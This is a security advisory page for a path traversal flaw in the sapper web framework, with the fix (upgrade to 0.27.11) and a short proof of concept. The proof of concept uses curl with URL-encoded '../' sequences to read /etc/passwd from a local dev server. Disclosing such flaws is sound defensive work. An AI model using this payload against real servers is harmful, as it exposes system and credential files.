Path Traversal Affecting sapper package, versions <0.27.11


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-SAPPER-572858
  • published19 Jun 2020
  • disclosed18 Jun 2020
  • creditanvikha

Introduced: 18 Jun 2020

CVE NOT AVAILABLE CWE-19  (opens in a new tab)

How to fix?

Upgrade sapper to version 0.27.11 or higher.

Overview

sapper is a framework for building high-performance universal web apps.

Affected versions of this package are vulnerable to Path Traversal. It allows an attacker to simply obain arbitrary files from the remote server, exploiting a simple path traversal using URL-encoded "../".

PoC by anvikha:

  • Clone https://github.com/sveltejs/sapper-template project
  • npm i
  • Use degit to obtain the webpack example app: npx degit "sveltejs/sapper-template#webpack" my-app
  • npx sapper dev - exploit with curl -vv http://localhost:3000/client/750af05c3a69ddc6073a/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd This also works in prod mode with
  • npx sapper build && node __sapper__build - exploit with curl -vvv http://localhost:3000/client/750af05c3a69ddc6073a/

References

CVSS Scores

version 3.1